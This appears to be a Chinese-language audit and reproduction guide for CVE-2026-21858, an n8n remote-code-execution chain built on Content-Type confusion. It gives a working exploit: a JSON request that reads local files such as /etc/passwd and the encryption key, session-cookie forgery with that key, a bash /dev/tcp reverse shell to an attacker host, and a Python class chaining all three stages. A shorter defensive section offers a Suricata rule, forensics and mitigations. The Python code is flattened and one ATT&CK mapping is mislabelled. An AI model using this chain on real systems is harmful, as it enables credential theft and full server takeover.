# CVE-2026-21858 技术审计与复现:n8n RCE 漏洞链,利用 Content-Type 混淆实现任意文件读取、会话伪造与命令执行
= doi.org/10.5281/zenodo.18278825
= orcid.org/0009-0007-7728-256X
[重建分析] CVE-2026-21858:Ni8mare - n8n RCE 全链路利用
本次技术审计基于 Cyera Research Labs 的 Dor Attias(2025 年 11 月 9 日)的研究成果,并包含可直接用于 REmnux/Kali Linux 实验室环境的复现步骤。
关键信息: 目标:n8n 版本 >=1.65.0 至 <1.121.0。
攻击向量:网络(HTTP/HTTPS)。
复杂度:低。
影响:全面(机密性、完整性和可用性)。
EPSS 评分:0.97(被利用概率极高)。
正常流程:multipart/form-data 请求由 parseFormData()(使用 Formidable 解析器)处理,该函数会正确填充 req.body.files 对象。
漏洞条件:如果攻击者提交带有 Content-Type: application/json 的请求,中间件会调用 parseBody()。提交的 JSON 随后被直接解析到 req.body 中,这会致命地覆盖 req.body.files 属性,且不进行任何进一步验证。
利用方式:formWebhook -> prepareFormReturnItem() 函数盲目调用 copyBinaryFile(req.body.files[0].filepath),信任 JSON 中提供的文件路径,从而将任意本地文件复制到可访问的工作流存储中。
前置条件: Docker 和 Docker Compose。
Python 3,并安装 requests、pyjwt 和 cryptography 库。
用于 shell 捕获的 Netcat (nc) 或 Burp Suite。
部署步骤: 运行易受攻击的实例:
Bash
docker run -d
--name ni8mare-vuln
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.65.0
管理员初始化:访问 http://localhost:5678,创建管理员账户(例如 / Password123!)。
工作流配置:创建一个新工作流,其中包含一个带有"文件上传"字段的"Form Trigger"节点。激活工作流并记下"测试 URL"。
HTTP 请求载荷:
HTTP
POST /webhook-test/{workflow-id}/form-endpoint HTTP/1.1 Host: target:5678 Content-Type: application/json User-Agent: Mozilla/5.0
[{"filepath":"/etc/passwd","mimetype":"text/plain","filename":"fake.txt"}] 战略目标:
/home/node/.n8n/config:窃取 N8N_ENCRYPTION_KEY。
/home/node/.n8n/database.sqlite:提取用户凭据哈希。
阶段 2:身份验证绕过(会话伪造) 一旦获得加密密钥和用户数据,就可以伪造 n8n-auth cookie。
会话伪造逻辑:
载荷:{"userId":1, "hash": sha256(email + password).slice(0,10)}。
签名:使用 N8N_ENCRYPTION_KEY 通过 HS256 算法签名。
结果:生成的 cookie 无需经过正常登录流程即可获得完全的管理员访问权限。
阶段 3:远程代码执行(RCE) 作为管理员(通过伪造的 cookie),我们可以自动创建包含"Execute Command"节点的新工作流。
命令载荷:bash -c "bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1"
Python
#!/usr/bin/env python3
import requests, json, hashlib, jwt, time
class Ni8mareExploit: def init(self, target, webhook_id): self.target = target.rstrip('/') self.webhook_url = f"{self.target}/webhook-test/{webhook_id}/form-endpoint" self.session = requests.Session()
def read_file(self, path, name):
"""Phase 1: Arbitrary File Read via Content-Type Confusion"""
print(f"[*] Attempting to read {path}...")
payload = [{"filepath": path, "mimetype": "text/plain", "filename": name}]
headers = {'Content-Type': 'application/json'}
r = self.session.post(self.webhook_url, json=payload, headers=headers)
return r.status_code == 200
def forge_session(self, email, password, key):
"""Phase 2: Cookie Forgery"""
hash_src = email + password
h = hashlib.sha256(hash_src.encode()).hexdigest()[:10]
payload = {'userId': 1, 'hash': h}
cookie = jwt.encode(payload, key, algorithm='HS256')
self.session.cookies.set('n8n-auth', cookie)
print(f"[+] Forged Cookie: n8n-auth={cookie}")
def trigger_rce(self, lhost, lport):
"""Phase 3: RCE via Workflow Automation"""
cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
wf_payload = {
"name": "Ni8mare RCE",
"nodes": [{"parameters": {"command": cmd}, "type": "n8n-nodes-base.executeCommand"}],
"active": True
}
r = self.session.post(f"{self.target}/rest/workflows", json=wf_payload)
print("[!] RCE Workflow Deployed. Check your listener!")
网络指标(IDS/IPS): Suricata 签名:alert http $EXTERNAL_NET any -> $HOME_NET 5678 (msg:"Ni8mare Exploit Attempt"; content:"application/json"; content:"filepath"; sid:1000001;)
异常:发送到 /webhook/*/form-endpoint 端点的带有 Content-Type: application/json 的 POST 请求。
主机取证: 文件系统:在 ~/.n8n/files/ 目录中搜索包含系统数据(例如 /etc/passwd)的可疑文本文件。
日志:审计 n8n 日志中 prepareFormReturnItem 函数的活动,且没有伴随的 multipart 数据。
Docker Inspect:验证镜像版本是否低于 1.121.0。
临时方案:如果无法修补,请使用 Web 应用防火墙(WAF)限制对 /webhook 端点的访问,以阻止可疑的 JSON 请求。
网络分段:将 n8n 实例与敏感内部网络隔离,以防止入侵后的横向移动。
执行:T1059(命令和脚本解释器)
持久化:T1098(通过会话伪造进行账户操纵)
数据渗出:T1083(文件和目录发现)
免责声明:本分析仅在 SASTRA_ADI_WIGUNA 大师的指导下,专门用于教育目的、安全审计和专业网络防御。任何将此信息用于非法活动的行为均由操作者自行承担全部责任。生产环境必须进行修补。